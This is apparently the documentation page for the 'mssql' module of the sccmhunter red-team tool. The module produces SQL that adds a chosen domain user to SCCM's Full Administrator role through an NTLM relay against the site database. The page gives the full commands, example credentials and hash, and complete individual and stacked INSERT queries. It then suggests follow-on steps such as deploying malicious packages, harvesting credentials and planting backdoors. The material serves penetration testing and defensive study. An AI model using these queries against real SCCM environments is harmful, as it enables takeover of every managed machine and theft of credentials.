> ## Documentation Index
> Fetch the complete documentation index at: https://docs.specterops.io/llms.txt
> Use this file to discover all available pages before exploring further.
# MSSQL Privilege Escalation (mssql)
> Generate SQL queries for NTLM relay attacks to escalate privileges in SCCM by adding users to administrative roles in the site database.
The `mssql` module generates SQL queries designed for use in NTLM relay attacks against SCCM site databases. By executing these queries against the SCCM database, attackers can elevate domain users to SCCM administrative roles, effectively granting full control over the SCCM infrastructure.
This module generates SQL queries for privilege escalation. The queries must be executed through NTLM relay attacks or direct database access. This represents a critical privilege escalation vector in SCCM environments.
## Attack Overview
The MSSQL privilege escalation attack works by:
1. **User SID Resolution**: Converting the target username to its corresponding SID
2. **Query Generation**: Creating SQL statements to add the user to SCCM administrative roles
3. **Role Assignment**: Granting Full Administrator permissions with appropriate scope access
4. **RBAC Configuration**: Setting up Role-Based Access Control permissions
This attack leverages SCCM's Role-Based Access Control (RBAC) system to grant administrative privileges. The generated queries can be used in NTLM relay attacks against SQL servers hosting SCCM databases.
## SCCM Role-Based Access Control
SCCM uses a sophisticated RBAC system with three key components:
* **Administrative Users**: Users or groups with SCCM permissions
* **Security Roles**: Predefined permission sets (Full Administrator, etc.)
* **Security Scopes**: Define what objects the user can manage
## Prerequisites
* Valid Active Directory credentials for SID resolution
* Target user account to elevate privileges for
* SCCM site code for the target environment
* NTLM relay capability against SCCM SQL servers
* Network access to domain controller for SID resolution
## Command Syntax
```bash Command Format theme={null}
python3 sccmhunter.py mssql [OPTIONS]
```
```bash Individual Queries theme={null}
python3 sccmhunter.py mssql -u administrator -p P@ssw0rd -d internal.lab -dc-ip 10.10.100.100 -tu lowpriv -sc LAB
```
```bash Stacked Query (Single Command) theme={null}
python3 sccmhunter.py mssql -u administrator -p P@ssw0rd -d internal.lab -dc-ip 10.10.100.100 -tu lowpriv -sc LAB -stacked
```
## Parameters
| Parameter | Description | Example |
| --------- | ------------------------------------------ | --------------- |
| `-d` | Target domain name | `internal.lab` |
| `-dc-ip` | Domain controller IP or FQDN | `10.10.100.100` |
| `-tu` | Target user to grant SCCM admin privileges | `lowpriv` |
| `-sc` | SCCM site code for privilege assignment | `LAB` |
| Parameter | Description | Example |
| ---------- | ----------------------------------- | --------------------------------------------------- |
| `-u` | Username for authentication | `administrator` |
| `-p` | Password for authentication | `P@ssw0rd` |
| `-hashes` | NT:LM hash for authentication | `aad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76` |
| `-k` | Use Kerberos authentication | |
| `-no-pass` | Don't prompt for password | |
| `-aes` | AES key for Kerberos (128/256 bits) | |
| `-ldaps` | Use LDAPS instead of LDAP | |
| Parameter | Description | Use Case |
| ---------- | ----------------------------- | --------------------------------------------------- |
| `-stacked` | Generate single stacked query | NTLM relay attacks requiring single query execution |
| `-debug` | Enable verbose logging | Troubleshooting and detailed output |
The `-stacked` flag combines all privilege escalation queries into a single SQL statement, which is essential for NTLM relay attacks that only allow one query execution.
## Usage Examples
**Generate separate SQL queries for manual execution or multi-step NTLM relay attacks**
```bash theme={null}
python3 sccmhunter.py mssql -u administrator -p P@ssw0rd -d internal.lab -dc-ip 10.10.100.100 -tu lowpriv -sc LAB
```
**Expected Output:**
```
[22:52:14] INFO [*] Resolving lowpriv SID...
[22:52:14] INFO [*] Converted lowpriv SID to 0x0105000000000005150000005407A9EE65B1F9B01FFF385E59040000
[22:52:14] INFO [*] Use the following to add lowpriv as a Site Server Admin.
use CM_LAB
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite)
VALUES (0x0105000000000005150000005407A9EE65B1F9B01FFF385E59040000,'LAB\lowpriv',0,0,'','','','','LAB');
SELECT AdminID,LogonName FROM RBAC_Admins;
[*] Enter AdminID:12345
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (12345,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (12345,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (12345,'SMS0001R','SMS00004','1');
```
Individual queries require interactive input to provide the AdminID returned from the first query. This approach is useful for manual SQL execution or when you have interactive access to the database.
**Generate a single SQL statement combining all privilege escalation steps**
```bash theme={null}
python3 sccmhunter.py mssql -u administrator -p P@ssw0rd -d internal.lab -dc-ip 10.10.100.100 -tu lowpriv -sc LAB -stacked
```
**Expected Output:**
```
[22:55:05] INFO [*] Resolving lowpriv SID...
[22:55:05] INFO [*] Converted lowpriv SID to 0x0105000000000005150000005407A9EE65B1F9B01FFF385E59040000
[22:55:05] INFO [*] Use the following to add lowpriv as a Site Server Admin.
USE CM_LAB;
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite)
VALUES (0x0105000000000005150000005407A9EE65B1F9B01FFF385E59040000,'LAB\lowpriv',0,0,'','','','','LAB');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'LAB\lowpriv'),'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'LAB\lowpriv'),'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = 'LAB\lowpriv'),'SMS0001R','SMS00004','1');
```
The stacked query approach is essential for NTLM relay attacks where only one SQL command can be executed. It uses subqueries to automatically retrieve the AdminID, eliminating the need for interactive input.
## Understanding the SQL Queries
The generated queries modify three key SCCM database tables:
* **RBAC\_Admins**: Stores administrative users and their basic information
* **RBAC\_ExtendedPermissions**: Links admins to roles and scopes
* **Site-specific scope assignments**: Grants access to different SCCM objects
**1. RBAC\_Admins Table Insert**
* Adds the target user as an SCCM administrative user
* Converts domain\username format for SCCM compatibility
* Uses the resolved SID for proper identification
**2. RBAC\_ExtendedPermissions Assignments**
* `SMS0001R`: Full Administrator role (highest privileges)
* `SMS00ALL`: All Systems scope (access to all objects)
* `SMS00001`: All Systems Collection scope
* `SMS00004`: Default scope for collections
**3. Role and Scope Combinations**
* Each permission links an admin to a role within a specific scope
* Multiple scopes ensure comprehensive access across the SCCM environment
## Attack Integration
**Required for Attack Success:**
* SMB signing disabled on SQL servers
* SCCM SQL server accessible via NTLM
* Account with NTLM relay capability
* Network position for man-in-the-middle attacks
**Gained Capabilities:**
* Full SCCM administrative access
* Software deployment to all systems
* Operating system deployment control
* Access to all SCCM credentials and secrets
## Verification and Testing
**After Query Execution:**
1. Log into SCCM console with elevated account
2. Verify administrative role assignment in RBAC settings
3. Test software deployment capabilities
4. Confirm access to administrative functions
**SCCM Console Access:**
* Navigate to `Administration > Security > Administrative Users`
* Verify the target user appears with Full Administrator role
* Test creating and deploying applications or task sequences
## Next Steps
**Leverage Full Access:**
* Deploy malicious software packages
* Extract additional credentials
* Lateral movement via client push
* Operating system deployment abuse
Use SCCM admin access to extract secrets from client systems
**Maintain Access:**
* Create additional admin accounts
* Deploy persistent backdoors
* Establish C2 infrastructure
* Document infrastructure for future access